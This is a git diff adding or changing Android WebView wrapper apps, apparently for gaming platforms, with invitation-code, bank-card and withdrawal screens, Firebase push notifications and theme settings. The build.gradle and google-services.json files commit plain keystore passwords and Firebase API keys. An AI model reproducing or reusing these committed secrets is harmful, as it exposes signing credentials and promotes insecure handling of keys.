#FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/tng66/src/main/res/values/strings.xml b/tng66/src/main/res/values/strings.xml new file mode 100644 index 0000000..6a3896d --- /dev/null +++ b/tng66/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Touch N Go 66 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/values/themes.xml b/tng66/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/tng66/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/xml/app_updater_paths.xml b/tng66/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/tng66/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/xml/network_security_config.xml b/tng66/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/tng66/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/tng66/src/main/res/xml/provider_paths.xml b/tng66/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/tng66/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/tng66/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/tng66/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/tng66/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/toto88new/release/toto88.apk b/toto88new/release/toto88.apk deleted file mode 100644 index abe3e73..0000000 Binary files a/toto88new/release/toto88.apk and /dev/null differ diff --git a/toto88new/src/main/java/com/web/tt88/MainActivity2.java b/toto88new/src/main/java/com/web/tt88/MainActivity2.java index 0772a24..a74dc95 100644 --- a/toto88new/src/main/java/com/web/tt88/MainActivity2.java +++ b/toto88new/src/main/java/com/web/tt88/MainActivity2.java @@ -18,7 +18,16 @@ public class MainActivity2 extends com.web.base.MainActivity2 { userId = 101; saveInt(MainActivity2.this,"user_code",userId); saveInt(MainActivity2.this,"version_code",getVersion()); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#420000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity2.this,"is_white",1); super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") .addOnCompleteListener(new OnCompleteListener() { diff --git a/toto88new/src/main/res/drawable/big_bg.xml b/toto88new/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..f431158 --- /dev/null +++ b/toto88new/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/toto88new/src/main/res/values-night/themes.xml b/toto88new/src/main/res/values-night/themes.xml index 4bf7105..2c4ea4b 100644 --- a/toto88new/src/main/res/values-night/themes.xml +++ b/toto88new/src/main/res/values-night/themes.xml @@ -60,9 +60,9 @@ true - @color/white + #420000 - @color/white + #420000 false diff --git a/toto88new/src/main/res/values/themes.xml b/toto88new/src/main/res/values/themes.xml index a973841..fdf2aaf 100644 --- a/toto88new/src/main/res/values/themes.xml +++ b/toto88new/src/main/res/values/themes.xml @@ -62,9 +62,9 @@ true - @color/white + #420000 - @android:color/transparent + #420000 false false diff --git a/ttslot888new/build.gradle b/ttslot888new/build.gradle index d1c41c6..d7ea728 100644 --- a/ttslot888new/build.gradle +++ b/ttslot888new/build.gradle @@ -10,7 +10,7 @@ android { defaultConfig { //102 - applicationId "com.web.slottt" + applicationId "com.xyz.tt" minSdkVersion 24 targetSdkVersion 31 versionCode 113 @@ -20,16 +20,16 @@ android { signingConfigs { debug { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('justlet.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } release { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('justlet.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } } diff --git a/ttslot888new/google-services.json b/ttslot888new/google-services.json index e975681..c5b72c6 100644 --- a/ttslot888new/google-services.json +++ b/ttslot888new/google-services.json @@ -1,21 +1,21 @@ { "project_info": { - "project_number": "1098406701837", - "project_id": "ttslot888-29636", - "storage_bucket": "ttslot888-29636.firebasestorage.app" + "project_number": "826948909014", + "project_id": "notittsl", + "storage_bucket": "notittsl.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:1098406701837:android:c90e9b7b4d15bf84355e44", + "mobilesdk_app_id": "1:826948909014:android:e61f605e187cd85f9c1677", "android_client_info": { - "package_name": "com.web.slottt" + "package_name": "com.xyz.tt" } }, "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyBIeR89kn0Q-5TN7yyCQnUehnQYmmVpEqk" + "current_key": "AIzaSyBZoOXNbiU1qd6r46ufxjWuoNeSaTGVowo" } ], "services": { diff --git a/ttslot888new/justlet.jks b/ttslot888new/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/ttslot888new/justlet.jks differ diff --git a/ttslot888new/nep88/src/main/res/mipmap-xxhdpi/app_logo.jpg b/ttslot888new/nep88/src/main/res/mipmap-xxhdpi/app_logo.jpg deleted file mode 100644 index b381e14..0000000 Binary files a/ttslot888new/nep88/src/main/res/mipmap-xxhdpi/app_logo.jpg and /dev/null differ diff --git a/ttslot888new/src/main/AndroidManifest.xml b/ttslot888new/src/main/AndroidManifest.xml index 2c36db4..f731048 100644 --- a/ttslot888new/src/main/AndroidManifest.xml +++ b/ttslot888new/src/main/AndroidManifest.xml @@ -1,6 +1,6 @@ + package="com.xyz.tt"> + variant.outputs.all { + def appName = "turbo6" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/turbo6/dskjweb.jks b/turbo6/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/turbo6/dskjweb.jks differ diff --git a/turbo6/google-services.json b/turbo6/google-services.json new file mode 100644 index 0000000..13f5d2c --- /dev/null +++ b/turbo6/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "335611842145", + "project_id": "turbo6-5d954", + "storage_bucket": "turbo6-5d954.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:335611842145:android:9f05e107e29ba2ce4ae420", + "android_client_info": { + "package_name": "com.web.turbo6" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAOAYDlQ1E6jIwK6o19Yirj3EQ6JojjOM4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/turbo6/ppn.jks b/turbo6/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/turbo6/ppn.jks differ diff --git a/turbo6/proguard-rules.pro b/turbo6/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/turbo6/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/turbo6/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/turbo6/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/turbo6/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/turbo6/src/main/AndroidManifest.xml b/turbo6/src/main/AndroidManifest.xml new file mode 100644 index 0000000..be49e38 --- /dev/null +++ b/turbo6/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/java/com/web/turbo6/MainActivity.java b/turbo6/src/main/java/com/web/turbo6/MainActivity.java new file mode 100644 index 0000000..c4cb43f --- /dev/null +++ b/turbo6/src/main/java/com/web/turbo6/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.turbo6; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 200; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.turbo6c.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0a4dd9"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0a4dd9"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/turbo6/src/main/java/com/web/turbo6/MyFirebaseMessageingService.java b/turbo6/src/main/java/com/web/turbo6/MyFirebaseMessageingService.java new file mode 100644 index 0000000..4c870e7 --- /dev/null +++ b/turbo6/src/main/java/com/web/turbo6/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.turbo6; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/turbo6/src/main/java/com/web/turbo6/WebApplication.java b/turbo6/src/main/java/com/web/turbo6/WebApplication.java new file mode 100644 index 0000000..d7ae18e --- /dev/null +++ b/turbo6/src/main/java/com/web/turbo6/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.turbo6; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/turbo6/src/main/res/drawable-anydpi/ic_action_back.xml b/turbo6/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/turbo6/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/turbo6/src/main/res/drawable-hdpi/ic_action_back.png b/turbo6/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/turbo6/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/turbo6/src/main/res/drawable-mdpi/ic_action_back.png b/turbo6/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/turbo6/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/turbo6/src/main/res/drawable-v24/ic_launcher_foreground.xml b/turbo6/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/turbo6/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/drawable-xhdpi/ic_action_back.png b/turbo6/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/turbo6/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/turbo6/src/main/res/drawable-xxhdpi/ic_action_back.png b/turbo6/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/turbo6/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/turbo6/src/main/res/drawable/big_bg.xml b/turbo6/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..656099b --- /dev/null +++ b/turbo6/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/drawable/ic_launcher_background.xml b/turbo6/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/turbo6/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/turbo6/src/main/res/drawable/input_bg.xml b/turbo6/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/turbo6/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/turbo6/src/main/res/drawable/pass_word_bg.xml b/turbo6/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/turbo6/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/turbo6/src/main/res/drawable/pass_word_bg1.xml b/turbo6/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/turbo6/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/drawable/pass_word_bg2.xml b/turbo6/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/turbo6/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/drawable/shape_btn_bg.xml b/turbo6/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/turbo6/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/drawable/shape_dialog_bg2.xml b/turbo6/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/turbo6/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/drawable/shape_dialog_bg3.xml b/turbo6/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/turbo6/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/drawable/shape_dialog_bg_new.xml b/turbo6/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/turbo6/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/turbo6/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/turbo6/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/turbo6/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/turbo6/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/mipmap-hdpi/ic_empty.png b/turbo6/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/turbo6/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/turbo6/src/main/res/mipmap-hdpi/ic_pull_down.png b/turbo6/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/turbo6/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/turbo6/src/main/res/mipmap-xhdpi/ic_close.png b/turbo6/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/turbo6/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/turbo6/src/main/res/mipmap-xhdpi/ic_menu.png b/turbo6/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/turbo6/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/turbo6/src/main/res/mipmap-xxhdpi/app_logo.png b/turbo6/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1c795ac Binary files /dev/null and b/turbo6/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/turbo6/src/main/res/values-en/strings.xml b/turbo6/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/turbo6/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/turbo6/src/main/res/values-night/themes.xml b/turbo6/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/turbo6/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/values/colors.xml b/turbo6/src/main/res/values/colors.xml new file mode 100644 index 0000000..18ce0eb --- /dev/null +++ b/turbo6/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0a4dd9 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/turbo6/src/main/res/values/strings.xml b/turbo6/src/main/res/values/strings.xml new file mode 100644 index 0000000..2e46183 --- /dev/null +++ b/turbo6/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Turbo6 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/values/themes.xml b/turbo6/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/turbo6/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/xml/app_updater_paths.xml 